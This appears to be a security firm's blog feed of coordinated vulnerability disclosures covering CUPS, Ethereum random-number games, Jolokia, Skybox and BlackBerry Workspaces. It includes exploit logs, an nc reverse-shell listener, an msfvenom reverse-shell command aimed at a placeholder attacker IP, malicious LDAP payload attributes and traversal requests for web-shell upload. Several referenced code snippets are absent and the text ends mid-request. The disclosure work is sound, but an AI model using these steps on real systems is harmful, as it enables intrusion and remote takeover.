RSS Feed

CUPS Local Privilege Escalation and Sandbox Escapes

Gotham Digital Science has discovered multiple vulnerabilities in Apple’s CUPS print system affecting macOS 10.13.4 and earlier and multiple Linux distributions.  All information in this post has been shared with Apple and other affected vendors prior to publication as part of the coordinated disclosure process.  All code is excerpted from Apple’s open source CUPS repository located at

The vulnerabilities allow for local privilege escalation to root (CVE-2018-4180), multiple sandbox escapes (CVE-2018-4182 and CVE-2018-4183), and unsandboxed root-level local file reads (CVE-2018-4181).  A related AppArmor-specific sandbox escape (CVE-2018-6553) was also discovered affecting Linux distributions such as Debian and Ubuntu.  When chained together, these vulnerabilities allow an unprivileged local attacker to escalate to unsandboxed root privileges on affected systems.

Affected Linux systems include those that allow non-root users to modify cupsd.conf such as Debian and Ubuntu.  Redhat and related distributions are generally not vulnerable by default.  Consult distribution-specific documentation and security advisories for more information.

The vulnerabilities were patched in macOS 10.13.5, and patches are currently available for Debian and Ubuntu systems.  GDS would like to thank Apple, Debian, and Canonical for working to patch the vulnerabilities, and CERT for assisting in vendor coordination.

CVE-2018-4180 - Dan Bastone
CVE-2018-4182 - Dan Bastone
CVE-2018-4183 - Dan Bastone and Eric Rafaloff
CVE-2018-6553 - Dan Bastone
CVE-2018-4181 - Eric Rafaloff and John Dunlap

02/21/2018 - Initial disclosure to Apple
02/26/2018 - Initial disclosure to Debian and Canonical (CVE-2018-6553)
03/02/2018 - Issues confirmed by Apple
05/04/2018 - Apple requests delay of public disclosure due to downstream vendor coordination with CERT
06/01/2018 - Apple releases fixes in macOS 10.13.5
06/05/2018 - Apple publishes patches on their public Github repository
07/11/2018 - Public disclosure

Apple Security Advisory (updated 7/11/18):

Linux Vendor Advisories:


This post describes the privilege escalation and sandbox escape vulnerabilities and their fixes.  Exploit code is currently being withheld, and will be released at a later date.  Details of the root-level local file read issue (CVE-2018-4181) will be released in a follow-up blog post.

Local Privilege Escalation to Root Due to Insecure Environment Variable Handling - CVE-2018-4180

Affected versions of CUPS allow for the SetEnv and PassEnv directives to be specified in the cupsd.conf file, which is editable by non-root users using the cupsctl binary.  This allows attacker-controlled environment variables to be passed to CUPS backends, some of which are run as root.  By passing malicious values in environment variables to affected backends, it is possible to execute an attacker-supplied binary as root, subject to sandbox restrictions.


Multiple vulnerable code paths exist for this issue, one of which is shown below.  The environment variable is used to construct a filename on lines 804 and 807 that is executed on line 819.

800  /*
801   * Get the filename of the backend...
802   */
804   if ((cups_serverbin = getenv("CUPS_SERVERBIN")) == NULL)
805     cups_serverbin = CUPS_SERVERBIN;
807   snprintf(filename, sizeof(filename), "%s/backend/%s", cups_serverbin, scheme);
817   fprintf(stderr, "DEBUG: Executing backend \"%s\"...\n", filename);
819   execv(filename, argv);

The issue was remediated by moving the SetEnv and PassEnv configuration directives from cupsd.conf to cups-files.conf, which is only editable by root.  Additionally, sensitive environment variables that may have security implications have been restricted and can no longer be set using these directives.  This effectively prevents all known exploit vectors.

macOS cups-exec Sandbox Bypass Due to Insecure Error Handling - CVE-2018-4182

It is possible to cause cups-exec to execute backends without a sandbox profile by causing cupsdCreateProfile() to fail.  An attacker that has obtained sandboxed root access can accomplish this by setting the CUPS temporary directory to immutable using chflags, which will prevent the profile from being written to disk.

Chaining this vulnerability with CVE-2018-4180 results in unsandboxed root code execution.

When /var/spool/cups/tmp is set to immutable, the following sequence will fail, resulting in DefaultProfile being set to NULL in cupsdStartServer().  This error is ignored, and execution continues.

DefaultProfile =          NULL
   cupsdCreateProfile()    ^
      cupsTempFile2()      |
         cupsTempFd()      |
            open("/var/spool/cups/tmp/...") = -1 [Operation not permitted]

When cupsdStartProcess() is later called to execute a backend, the NULL default profile is passed as an argument:

3819   if (cupsdStartProcess(command, argv, envp, infile, fds[1], CGIPipes[1],
3820          -1, -1, root, DefaultProfile, NULL, &pid) < 0)

The process is then executed unsandboxed, because the profile is NULL.

455 int               /* O - Process ID or 0 */
456 cupsdStartProcess(
457     const char  *command,     /* I - Full path to command */
458     char        *argv[],      /* I - Command-line arguments */
459     char        *envp[],      /* I - Environment */
460     int         infd,         /* I - Standard input file descriptor */
461     int         outfd,        /* I - Standard output file descriptor */
462     int         errfd,        /* I - Standard error file descriptor */
463     int         backfd,       /* I - Backchannel file descriptor */
464     int         sidefd,       /* I - Sidechannel file descriptor */
465     int         root,         /* I - Run as root? */
466     void        *profile,     /* I - Security profile to use */
467     cupsd_job_t *job,         /* I - Job associated with process */
468     int         *pid)         /* O - Process ID */
469 {
545  /*
546   * Use helper program when we have a sandbox profile...
547   */
550   if (profile)
551 #endif /* !USE_POSIX_SPAWN */
552   {
553     snprintf(cups_exec, sizeof(cups_exec), "%s/daemon/cups-exec", ServerBin);
554     snprintf(user_str, sizeof(user_str), "%d", user);
555     snprintf(group_str, sizeof(group_str), "%d", Group);
556     snprintf(nice_str, sizeof(nice_str), "%d", FilterNice);
558     real_argv[0] = cups_exec;
559     real_argv[1] = (char *)"-g";
560     real_argv[2] = group_str;
561     real_argv[3] = (char *)"-n";
562     real_argv[4] = nice_str;
563     real_argv[5] = (char *)"-u";
564     real_argv[6] = user_str;
565     real_argv[7] = profile ? profile : "none";
566     real_argv[8] = (char *)command;

The following debug output shows execution of exploits for CVE-2018-4180 and CVE-2018-4182.

CUPS_SERVERBIN is set to the attacker-controlled directory by the exploit:

d [18/Feb/2018:21:50:21 -0500] cupsdSetEnv: CUPS_SERVERBIN=/tmp/exploit
D [18/Feb/2018:21:50:21 -0500] [Job 69] envp[1]="CUPS_SERVERBIN=/tmp/exploit"

dnssd is executed as root with a valid sandbox profile:

cupsdStartProcess(command="/usr/libexec/cups/backend/dnssd", argv=0x7ffee67eac30, envp=0x7ffee67ece90, infd=-1, outfd=-1, errfd=15, backfd=17, sidefd=19, root=1, profile=0x7f9339d1acb0, job=0x7f9339e203d0(69), pid=0x7f9339e20538) = 2463

dnssd then executes its sub-backend from the attacker-controlled CUPS_SERVERBIN containing the exploit payload. On this initial execution, the write to /exploit.txt will fail, and the payload will set the CUPS temp directory to immutable.

D [18/Feb/2018:21:50:21 -0500] [Job 69] Executing backend \"/tmp/exploit/backend/dnssd\"...
D [18/Feb/2018:21:50:21 -0500] [Job 69] /tmp/exploit/backend/dnssd: line 2: /exploit.txt: Operation not permitted

The payload then triggers the exploit again:

D [18/Feb/2018:21:50:21 -0500] [Job 70] envp[1]="CUPS_SERVERBIN=/tmp/exploit"

This time, the sandbox profile is prevented from being written:

d [18/Feb/2018:21:50:21 -0500] cupsdCreateProfile(job_id=70, allow_networking=0) = NULL
E [18/Feb/2018:21:50:21 -0500] Unable to create security profile: Operation not permitted
d [18/Feb/2018:21:50:21 -0500] cupsdCreateProfile(job_id=70, allow_networking=1) = NULL
E [18/Feb/2018:21:50:21 -0500] Unable to create security profile: Operation not permitted

This causes cupsdStartProcess to be called with a NULL profile argument, executing dnssd as root outside the sandbox:

d [18/Feb/2018:21:50:21 -0500] cupsdStartProcess(command="/usr/libexec/cups/backend/dnssd", argv=0x7ffee67fa7a0, envp=0x7ffee67fca00, infd=-1, outfd=-1, errfd=14, backfd=16, sidefd=18, root=1, profile=0x0, job=0x7f9339f12480(70), pid=0x7f9339f125e8) = 2469

Finally, the sub-backend executes outside the sandbox, writes to /exploit.txt, and exits successfully:

D [18/Feb/2018:21:50:21 -0500] [Job 70] Executing backend \"/tmp/exploit/backend/dnssd\"...
D [18/Feb/2018:21:50:21 -0500] [Job 70] PID 2469 (/usr/libexec/cups/backend/dnssd) exited with no errors.

The issue was remediated through the addition of error-handling code and sanity checks that prevent backends from executing outside of a sandbox profile.

macOS cups-exec Sandbox Bypass Due to Profile Misconfiguration - CVE-2018-4183

The sandbox profile dynamically generated by cupsdCreateProfile() unintentionally allows write access to /etc/cups.  This can be used by an attacker that has obtained sandboxed root access to alter /etc/cups/cups-files.conf, leading to unsandboxed root code execution.

The issue is caused by the fact that both ServerRoot and StateDir are set to /etc/cups.  The sandbox profile first denies write access to ServerRoot, but subsequently allows write access to StateDir.  This is shown in cupsdCreateProfile() below.

142   cupsFilePrintf(fp,
143                  "(deny file-write*\n"
144                  "  (regex"
145        " #\"^%s$\""     /* ServerRoot */
146        " #\"^%s/\""     /* ServerRoot/... */
147        " #\"^/private/etc$\""
148        " #\"^/private/etc/\""
194   cupsFilePrintf(fp,
195                  "(allow file-write* file-read-data file-read-metadata\n"
196                  "  (regex"
197        " #\"^%s$\""     /* TempDir */
198        " #\"^%s/\""     /* TempDir/... */
199        " #\"^%s$\""     /* CacheDir */
200        " #\"^%s/\""     /* CacheDir/... */
201        " #\"^%s$\""     /* StateDir */
202        " #\"^%s/\""     /* StateDir/... */
203        "))\n",
204        temp, temp, cache, cache, state, state);

This results in the following conflicting sandbox profile directives, ultimately allowing write access to /etc/cups:

(deny file-write*
  (regex #"^/private/etc/cups$" #"^/private/etc/cups/" #"^/private/etc$" #"^/private/etc/" #"^/usr/local/etc$" #"^/usr/local/etc/" #"^/Library$" #"^/Library/" #"^/System$" #"^/System/"))

(allow file-write* file-read-data file-read-metadata
  (regex #"^/private/var/spool/cups/tmp$" #"^/private/var/spool/cups/tmp/" #"^/private/var/spool/cups/cache$" #"^/private/var/spool/cups/cache/" #"^/private/etc/cups$" #"^/private/etc/cups/"))

The sandbox profile was corrected to disallow writes to /etc/cups by removing the StateDir entries.

AppArmor cupsd Sandbox Bypass Due to Use of Hard Links - CVE-2018-6553

It is possible to bypass the AppArmor cupsd sandbox by invoking the dnssd backend using an alternate name that has been hard linked to dnssd.  Both Debian and Ubuntu use AppArmor and shipped the mdns backend in this manner, in contrast to macOS and other systems that use symbolic links.  Invoking the mdns backend causes the AppArmor profile to treat the backend as 3rd party, removing sandbox restrictions.

The cups backend directory and an excerpt of the cups .deb post-installation script shows the use of hard links.

 ls -l /usr/lib/cups/backend/{dnssd,mdns}
-rwxr--r-- 3 root root 18424 Aug 22 17:26 /usr/lib/cups/backend/dnssd
-rwxr--r-- 3 root root 18424 Aug 22 17:26 /usr/lib/cups/backend/mdns
$ stat /usr/lib/cups/backend/{dnssd,mdns}
  File: '/usr/lib/cups/backend/dnssd'
  Size: 18424        Blocks: 40         IO Block: 4096   regular file
Device: 801h/2049d   Inode: 12615       Links: 3
Access: (0744/-rwxr--r--)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2018-02-18 13:08:11.761022386 -0800
Modify: 2017-08-22 17:26:53.000000000 -0700
Change: 2018-02-14 11:32:56.356309575 -0800
 Birth: -
  File: '/usr/lib/cups/backend/mdns'
  Size: 18424        Blocks: 40         IO Block: 4096   regular file
Device: 801h/2049d   Inode: 12615       Links: 3
Access: (0744/-rwxr--r--)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2018-02-18 13:08:11.761022386 -0800
Modify: 2017-08-22 17:26:53.000000000 -0700
Change: 2018-02-14 11:32:56.356309575 -0800
 Birth: -

DEBIAN/postinst: (from cups_2.2.1-8_amd64.deb)
71       if [ "$module" = "dnssd" ]; then
72         ln /usr/lib/cups/backend/dnssd /usr/lib/cups/backend/mdns
73       fi

The AppArmor sandbox profile explicitly whitelists known backends, but neglects to include mdns. Because mdns is hard linked to dnssd, it matches the rule on line 95. If symbolic links were used instead, line 81 would match and the backend would be sandboxed as intended.

79   # backends which come with CUPS can be confined
80   /usr/lib/cups/backend/bluetooth ixr,
81   /usr/lib/cups/backend/dnssd ixr,
82   /usr/lib/cups/backend/http ixr,
83   /usr/lib/cups/backend/ipp ixr,
84   /usr/lib/cups/backend/lpd ixr,
85   /usr/lib/cups/backend/parallel ixr,
86   /usr/lib/cups/backend/serial ixr,
87   /usr/lib/cups/backend/snmp ixr,
88   /usr/lib/cups/backend/socket ixr,
89   /usr/lib/cups/backend/usb ixr,
90   # we treat cups-pdf specially, since it needs to write into /home
91   # and thus needs extra paranoia
92   /usr/lib/cups/backend/cups-pdf Px,
93   # third party backends get no restrictions as they often need high
94   # privileges and this is beyond our control
95   /usr/lib/cups/backend/* Cx -> third_party,

The AppArmor profile was updated to explicitly sandbox the mdns backend.


Breaking Randomness in the Ethereum Universe [part 1]

It is widely acknowledged that generating secure random numbers on the Ethereum blockchain is difficult due to its deterministic nature. Each time a smart contract’s function is called inside of a transaction, it must be replayed and verified by the rest of the network. This is crucial so that it is not possible for a miner to manipulate the internal state during execution and modify the result for their own benefit. For example, if the Ethereum Virtual Machine (EVM) provided functionality to generate a random number using a cryptographically secure random source on the miner’s system, it would not be possible to confirm that the random number generated had not been manipulated by the miner. Another more important reason however, is that this would not be determinsitic and if ether is transferred or alternative code paths are taken based on decisions made inside the function as a result of the generated number, the contract’s ether balance and storage state may be inconsistent with the view of the rest of the network.

This post is the first in a three-part series where we will look at some of the techniques developers are using to generate numbers that appear to be random in the deterministic Ethereum environment, and look at how it is possible in-practice to exploit these random number generators for our advantage. Our first post will focus on generating random numbers on-chain and what the security implications of doing so are. In the remaining two posts we will review another two commonly used techniques including using oracles and participatory schemes where numbers are provided via multiple participants.

Sources of Entropy in Ethereum

We have proposed that we cannot trust a single miner to generate a “high quality” random number for our smart contract and that if a “random” number is produced, the same number must be produced when other nodes of the network execute the smart contract code for verification. One method that is commonly used is the use of a Pseudorandom Number Generator (PRNG), which will produce a series of bytes that look random in a deterministic way, based on an initial private seed value and internal state.

The Ethereum blockchain provides a number of block properties that are not controllable by a single user of the network and are only somewhat controllable by miners, such as the timestamp and coinbase. When using these block properties as a source of entropy for an initial seed to a PRNG, it may well look sufficient as the output appears to look random and the seed value cannot be directly manipulated by users of the smart contract.

The following block variables are commonly used when generating random numbers on-chain:

  • block.blockhash(uint blockNumber): hash of the given block (only works for 256 most recent blocks excluding current)

  • block.number: current block number

  • block.coinbase: current block miner’s address

  • block.timestamp: current block timestamp as seconds since unix epoch 

The main advantages of using block properties as a seed for randomness is they are simple to implement and the resulting random numbers are immediately available to the smart contract. This simplicity, speed and lack of dependence on external parties or systems makes the use of block properties a desirable option. It is often assumed that when using block properties as a source of randomness, only miners would be in a position to cheat. For example, if the output number did not work in their favour, they can throw away the block and wait for a new block whereby the generated number worked in their favour. 

With the assumption that only miners are able to exploit the number generation using block properties as a seed, there are multiple blog posts, Reddit posts, and Stack Overflow threads regarding when it is safe to use these properties for random number generation. These often incorrectly state that it is acceptable to use block properties only when the potential payout is less than the mining reward, as it would not be beneficial for a malicious miner to throw out the block. However, this is not case, as we will see when we analyse and exploit the vulnerable smart contracts below.

Exploiting a Simple Number Guessing Smart-Contract

Firstly we will look a naïve, yet not uncommon implementation using the block.blockhash property. The GuessingGame smart contract allows the participant to guess a randomly generated number. If the participant guesses correctly they win twice their initial bet.

If we look at the badRandom function, we can see how the random number is generated by casting the blockhash of the previous block to an unsigned integer, then performing a modulus operation:

This will appear to provide a random value between 1 and 10 (unfortunately this also introduces a modulo bias meaning that some values are more likely than others). As the previous block number is not controllable by an attacker it cannot be manipulated to produce a random number in the attackers favour… however, the seed is known to the attacker. It is therefore possible to predict what the next winning number will be and beat the house. One potential problem with this approach, is that the attacker needs to take the current block number, get the blockhash, generate the next number and make sure their bet was placed in the very next block. 

This isn’t very feasible to do manually, however we can get around this by calculating the next winning number on-chain, then make an external contract call to the GuessingGame with the correct number. The following attacker contract will always predict the winning number when the cheat() function is called.

Another Vulnerable ‘Lottery’ Style Game

The above contract will allow us to always take away the winnings, however, can we still exploit this type of random number generation when the generation takes place at some point in the future? To explore this, we have the following lottery style smart contract where participants can buy a ticket in a draw. When enough tickets have been sold a winner can be selected. A common, but problematic, coding pattern is shown below:

By looking at the buyTicket function below, there is nothing the attacker can control when buying a ticket, other than waiting for specific tickets to be sold and buying theirs at a specific point, such as waiting for 2 to be sold and then attempting to purchase the 3rd.

Lets now look at how the winning ticket is chosen:

Firstly, there is a require statement to ensure that the winner can only be chosen once the required number of tickets have been sold. If this requirement is met the sale is over and a random number is generated. In this case we have no control over what the winnerIndex will be, however we can calculate who the winner will be before invoking the drawWinner() function. Allowing the attacker to wait until a blockhash is used that generates a random number making the attacker the winner.

The problem with this approach is that the attacker needs to know which ticket they have, or at which index in the drawParticipants array their account address is located. Within the blockchain, even private variables are readable by everyone, even if the contract does not directly expose them. The web3.eth.getStorageAt(contractAddress, index) method can be used to look into the contracts persistent storage and identify which ticket is the attackers.

The attacker contract below will take the desired winner index, then calculate if that index is going to win the draw during the current block. If the desired winner is going to be selected, the drawWinner() function is called and the attacker takes home the contract balance. If the attacker is not going to win, the call returns before drawing the winner. The attacker just needs to repeatedly call the cheat(winnerIndex) function until the blockhash outputs a number that results in the correct winner. It is true that this process is going to cost the attacker in transaction fees for each repeated call, however this is likely to be negligible when compared to a games payout.

The primary drawback with this approach is that if the drawWinner() function is called by another participant, then the next winner may be chosen at a blocknumber which does not result in the attacker winning. Another issue is that depending on the number of participants, the attacker may need to submit a large number of transactions before they are chosen.

A partial mitigation?

As games are typically designed to be played by real players, rather than other smart contracts, we could look to identify whether the player’s address is a regular Externally Controlled Account (EOA) or a smart contract account. It appears this can currently be achieved by using inline assembly and the EXTCODESIZE opcode, which returns the size of the CODE property of an external Ethereum account using its address. For example, this could be implemented with the following:

This will restrict specific functions from only being called from Externally Owned Accounts and therefore mitigate the attacks outlined above. However, this does not mitigate against attacks from malicious miners and will likely break under future accounts created under the Ethereum account abstraction proposed in EIP-86 which is scheduled for Constantinople Metropolis stage 2.

The practise of generating pseudo-random numbers using block properties is highly discouraged. We have looked at how an attacker can actually exploit such PRNG implementations via external contract calls, which allow an attacker to predict the next number to be generated in the same block. Whilst a partial mitigation does exist to prevent the specific attacks mentioned, block properties and on-chain data are always public and therefore carry the risk that an attacker may be able to predict the winning number and use it for their advantage.    

In the following two parts of this series, we will analyse the use of generating random numbers using participatory schemes where numbers are provided via multiple participants, and through the use of external sources of randomness that are consumed via the use of Oracles.


Jolokia Vulnerabilities - RCE & XSS

Recently, during a client engagement, Gotham Digital Science found a couple of zero-day vulnerabilities in the Jolokia service. Jolokia is an open source product that provides an HTTP API interface for JMX (Java Management Extensions) technology. It contains an API we can use for calling MBeans registered on the server and read/write their properties. JMX technology is used for managing and monitoring devices, applications, and service-driven networks.

The following issues are described below:

Affected versions:

  • 1.4.0 and below. Version 1.5.0 addresses both issues.

Before we start, a little humour - if someone thinks that the documentation is useless for bug hunters, look at this:

Remote Code Execution via JNDI Injection

The Jolokia service has a proxy mode that was vulnerable to JNDI injection by default before version 1.5.0. When the Jolokia agent is deployed in proxy mode, an external attacker, with access to the Jolokia web endpoint, can execute arbitrary code remotely via JNDI injection attack. This attack is possible since the Jolokia library initiates LDAP/RMI connections using user-supplied input.

JNDI attacks were explained at the BlackHat USA 2016 conference by HP Enterprise folks, and they showed some useful vectors we can use to turn them into Remote Code Execution.

If a third-party system uses Jolokia service in proxy mode, this system is exposed to remote code execution through the Jolokia endpoint. Jolokia, as a component, does not provide any authentication mechanisms for this endpoint to protect the server from an arbitrary attacker, but this is strongly recommended in the documentation.

Steps to reproduce:

For demonstration purposes we’ll run all of the components in the exploit chain on the loopback interface.
  1. The following POST request can be used to exploit this vulnerability:

  2. We need to create LDAP and HTTP servers in order to serve a malicious payload. These code snippets were originally taken from marshalsec and zerothoughts GitHub repositories.

  3. After that we need to create an with reverse shell command. The bytecode of this class will be served from our HTTP server:

  4. The LDAP Server should be run with the following command line arguments: 9092
    • is the URL of the attacker’s HTTP server
    • ExportObject is name of the Java class containing the attacker’s code
    • 9092 is the LDAP server listen port
  5. Start an nc listener on port 7777:

    $ nc -lv 7777
  6. After the reuqest shown in step #1 is sent, the vulnerable server makes request to the attacker’s LDAP server.

  7. When the LDAP server, listening on the port 9092, receives a request from the vulnerable server, it creates an Entry object with attributes and returns it in the LDAP response.

    e.addAttribute("javaClassName", "ExportObject");
    e.addAttribute("javaCodeBase", "");
    e.addAttribute("objectClass", "javaNamingReference");
    e.addAttribute("javaFactory", "ExportObject");
  8. When the vulnerable server receives the LDAP response, it fetches the ExportObject.class from the attacker’s HTTP server, instantiates the object and executes the reverse shell command.

  9. The attacker receives the connection back from the vulnerable server on his nc listener.

Cross-Site Scripting

The Jolokia web application is vulnerable to a classic Reflected Cross-Site Scripting (XSS) attack. By default, Jolokia returns responses with application/json content type, so for most cases inserting user supplied input into the response is not a big problem. But it was discovered from reading the source code that it is possible to modify the Content-Type of a response just by adding a GET parameter mimeType to the request:


After that, it was relatively easy to find at least one occurrence where URL parameters are inserted in the response ‘as is’:


With text/html Content Type, the classic reflected XSS attack is possible. Exploiting this issue allows an attacker to supply arbitrary client-side javascript code within application input parameters that will ultimately be rendered and executed within the end user’s web browser. This can be leveraged to steal cookies in the vulnerable domain and potentially gain unauthorised access to a user’s authenticated session, alter the content of the vulnerable web page, or compromise the user’s web browser.

And at the end,

  • advice for bug hunters – read documentation! Sometimes it’s useful!
  • recommendation for Jolokia users - update the service to version 1.5.0.


Many thanks to Roland Huss from the Jolokia project for working diligently with GDS to mitigate these issues.

Skybox Vulnerabilities


Gotham Digital Science (GDS) recently discovered multiple vulnerabilities that affect the Skybox Manager Client Application and the Skybox Server. These consist of user privilege elevation, arbitrary file upload, password hash disclosure and user enumeration. The following CVEs have been assigned:

  • CVE-2017-14773 - Privilege Elevation During Authentication
  • CVE-2017-14771 - Arbitrary File Upload
  • CVE-2017-14770 - Password Hash Disclosure
  • CVE-2017-14772 - Username Enumeration

This post will describe in detail how GDS found these vulnerabilities.

Vulnerable Versions

  • Skybox Manager Client Application version 8.5.500 and earlier are vulnerable.
  • All versions are affected by CVE-2017-14772


The Skybox Manager Client is a Java thick application that enables you to determine your network’s attack surface, perform vulnerability and threat management, maintain firewalls on your network, and manage network change requests.

When testing Java thick applications, it is beneficial to attach a debugger to enable you to step through the application logic and bypass front end validation. Often vendors rely only on front end validation on the client to secure themselves from malicious input, but by having a debugger attached an adversary can change variable values during run time. It is then up to the server to validate the user input. Having a functional client that can be manipulated in this manner is far more efficient than reverse engineering and writing a malicious client.

How to Attach a debugger to a Java thick application

We will use the free to use community edition of IntelliJ. In the installation folder of the Skybox application, find all the associated jar files. Once all of them are located, import these into a new project.

With Skybox running, make use of Process Explorer to determine how the application can be run from the command line, this will enable us to restart the application with a listener to enable us to attach to it with the IntelliJ debugger.
Using Process Explorer this is what we found:

"C:\Skybox\app\bin\..\..\thirdparty\jdk1.8.0_66b\bin\javaw"   "-Dfile.encoding=UTF-8" "-Djdk.lang.Process.allowAmbigousCommands=true" "-Dawt.useSystemAAFontSettings=on" "-Djava.util.Arrays.useLegacyMergeSort=true" "-Dskybox.enable_preload_enums=true" "-verbose:gc" "-Xloggc:../log/debug/app_gc.log" "-XX:+PrintGCDateStamps" "-XX:+PrintGCDetails" "-XX:+UseGCLogFileRotation" "-XX:NumberOfGCLogFiles=5" "-XX:GCLogFileSize=50M" "-XX:-TraceClassUnloading" "-XX:+DisableExplicitGC" "-XX:+UseTLAB" "-XX:-OmitStackTraceInFastThrow" "-XX:+PrintCommandLineFlags" "-XX:+UseParNewGC" "-XX:+UseConcMarkSweepGC" "-XX:+CMSClassUnloadingEnabled" "-Xms50m" "-Xmx512m" "" -Djava.endorsed.dirs="C:\Skybox\app\bin\..\..\thirdparty\jboss\lib\endorsed" -Djboss.bind.address= -Dskyboxview.home="C:\Skybox\app\bin\.." -Dskyboxview.base="C:\Skybox\app\bin\..\..""C:\Skybox\app\bin\..\..\data" -Dskyboxview.ds=mysql -Dsree.home="C:\Skybox\app\bin\..\conf" -cp "C:\Skybox\app\bin\..\lib\classpath.ext;C:\Skybox\app\bin\..\lib\classpath.ext;;;;C:\Skybox\app\bin\..\conf;../lib/skyboxview-app.jar"


We then add the following before running the above in the command line:



So our command line looks like this:

"C:\Skybox\app\bin\..\..\thirdparty\jdk1.8.0_66b\bin\java" -agentlib:jdwp=transport=dt_socket,server=y,suspend=y,address=5005 "-Dfile.encoding=UTF-8" "-Djdk.lang.Process.allowAmbigousCommands=true" "-Dawt.useSystemAAFontSettings=on" "-Djava.util.Arrays.useLegacyMergeSort=true" "-Dskybox.enable_preload_enums=true" "-verbose:gc" "-Xloggc:../log/debug/app_gc.log" "-XX:+PrintGCDateStamps" "-XX:+PrintGCDetails" "-XX:+UseGCLogFileRotation" "-XX:NumberOfGCLogFiles=5" "-XX:GCLogFileSize=50M" "-XX:-TraceClassUnloading" "-XX:+DisableExplicitGC" "-XX:+UseTLAB" "-XX:-OmitStackTraceInFastThrow" "-XX:+PrintCommandLineFlags" "-XX:+UseParNewGC" "-XX:+UseConcMarkSweepGC" "-XX:+CMSClassUnloadingEnabled" "-Xms50m" "-Xmx512m" "" -Djava.endorsed.dirs="C:\Skybox\app\bin\..\..\thirdparty\jboss\lib\endorsed" -Djboss.bind.address= -Dskyboxview.home="C:\Skybox\app\bin\.." -Dskyboxview.base="C:\Skybox\app\bin\..\..""C:\Skybox\app\bin\..\..\data" -Dskyboxview.ds=mysql -Dsree.home="C:\Skybox\app\bin\..\conf" -cp "C:\Skybox\app\bin\..\lib\classpath.ext;C:\Skybox\app\bin\..\lib\classpath.ext;;;;C:\Skybox\app\bin\..\conf;../lib/skyboxview-app.jar"


Heading over to IntelliJ, we run the debugger for a remote process. Once the debugger is attached you have the ability to navigate the decompiled jar files and find interesting bugs!

CVE-2017-14773 - Privilege Elevation During Authentication

Attach a debugger to the application. In the LoginDialog class, place a breakpoint on the following line:

LoginResult loginResult = HttpBusinessServiceDelegator.loginEx(this.loginName, newPasswd);


This is located at:




Authenticate as a low privileged user and change the value of this.loginName to that of a another valid user. Below we replaced the user lowpriv with the default administration account, skyboxview:


A response is then received by the client that contains the hashed password of the substituted user (skyboxview). The server should not return this password hash during password authentication, the password should be validated on the server. This issue has been assigned CVE-2017-14770 - Password Hash Disclosure.


Further inspection of the application code revealed that a predictable salt value of 123username45 is used when hashing the password. This code is in the PasswordUtil class:


This makes it significantly easier for a threat actor to crack leaked password hashes for predictable user accounts.


Allowing the login process to continue, the threat actor is then logged in as the target user, in this case an administrator, even though they provided credentials for another account.

Now that we have a high privileged account we will try do something malicious with this newly found access.


CVE-2017-14771 - Arbitrary File Upload

With the debugger attached to the thick application. In the file C:\Skybox\app\lib\skyboxview-app.jar add a breakpoint on the method putFileOnServerAndWarnBeforeOverride in the AppFileManager class.

Generate a reverse shell payload using msfvenom:

# msfvenom -p windows/shell_reverse_tcp LHOST=<ATTACKER IP> LPORT=<PORT> -f exe -o jps.exe

GDS observed that the executable jps.exe is periodically run by the Skybox server and thereafter replaced this file with our reverse shell.

Once an upload to the Skybox server is initiated the debugger will pause the client side component and we are able to specify an absolute path for the uploaded file to be saved on the server. The server does not validate the location of the file to be uploaded.

Specifying a file to upload

In the debugger

Note the application enforces a relative path of Temp\[file name]’for the variable destinationFileName. However, a threat actor can manipulate this value with a debugger attached.

By changing the destinationFileName value to: C:\Skybox\thirdparty\jdk1.8.0_66b\bin\jps.exe the threat actor will overwrite the original jps.exe with their malicious version.

Edited file path

The user is then presented with a dialog stating that the file was successfully uploaded to /data/temp.

Successful upload

The threat actor will then need to listen on their machine for the incoming connection as seen below.

Ncat listening for the incoming connection on port 4443

In summary, from a low privileged user GDS has manged to elevate their privileges to that of an administrator, with an added bonus of retrieving this user’s password hash for later cracking. This allowed uploading of arbitrary files to the Skybox server. By abusing the server’s trust that the client validated user input, GDS has overwritten an existing file that is executed periodically to gain remote shell access to the Skybox server. A special thanks to Elliot Ward who helped during the early stages of exploitation that lead to the arbitrary file upload vulnerability.


GDS recommends that affected users update immediately to version 8.5.501 or later of the application. For more information please see:
Skybox Product Security Advisory


Remote Code Execution in BlackBerry Workspaces Server


Gotham Digital Science (GDS) has discovered a vulnerability affecting BlackBerry Workspaces Server (formerly WatchDox). Prior to being patched, it was possible to remotely execute arbitrary code by exploiting insecure file upload functionality as an unauthenticated user. Additionally, source code disclosure was possible by issuing an HTTP request for a Node.js file inside of the server’s webroot.

CVE-2017-9367 and CVE-2017-9368 were discovered by Eric Rafaloff during a client engagement conducted by Gotham Digital Science.

BlackBerry’s security advisory regarding these vulnerabilities is available here: BSRT-2017-006

Vulnerable Versions

The following Workspaces Server components are known to be vulnerable:

  • Appliance-X versions 1.11.2 and earlier
  • vApp versions 5.6.0 to 5.6.6
  • vApp versions 5.5.9 and earlier


  • 5/10/17 - CVE-2017-9367 and CVE-2017-9368 disclosed to BlackBerry.
  • 5/10/17 - BlackBerry acknowledges receiving our report.
  • 5/16/17 - BlackBerry confirms that an investigation has started.
  • 6/6/17 - BlackBerry confirms the reported security vulnerabilities and communicates that they will be issuing two CVEs.
  • 6/28/17 - BlackBerry confirms that development has started on fixes for the two reported vulnerabilities, requests delay of disclosure.
  • 9/6/17 - BlackBerry states that their advisory is expected to be made on September 12th.
  • 9/7/17 - BlackBerry states that their advisory will need to be pushed back until October 10th, requests additional delay of disclosure.
  • 9/13/17 - BlackBerry requests additional delay of disclosure to October 16th.
  • 10/16/17 - GDS and BlackBerry coordinated disclosure.

GDS commends BlackBerry for their diligence and consistent communication during the disclosure process.

Issue Description

The BlackBerry Workspaces Server offers a file server API, with which files can be uploaded and downloaded. GDS found that by making an unauthenticated HTTP GET request for /fileserver/main.js, it was possible to view the file server’s source code (CVE-2017-9368).

Reproduction Request #1

GET /fileserver/main.js HTTP/1.1

Reproduction Response #1

HTTP/1.1 200 OK

By analyzing this disclosed source code, GDS located a directory traversal vulnerability affecting the saveDocument endpoint of the file server API. This endpoint did not require authentication, and when exploited allowed GDS to obtain remote code execution by uploading a web shell to the server’s webroot (CVE-2017-9367).

Reproduction Request #2

POST /fileserver/saveDocument HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------1484231460308104668732082159
Content-Length: 1286
Content-Disposition: form-data; name="uuid"
Content-Disposition: form-data; name="fileName"
Content-Disposition: form-data; name="store"
Content-Disposition: form-data; name="uploadFile"; filename="test"

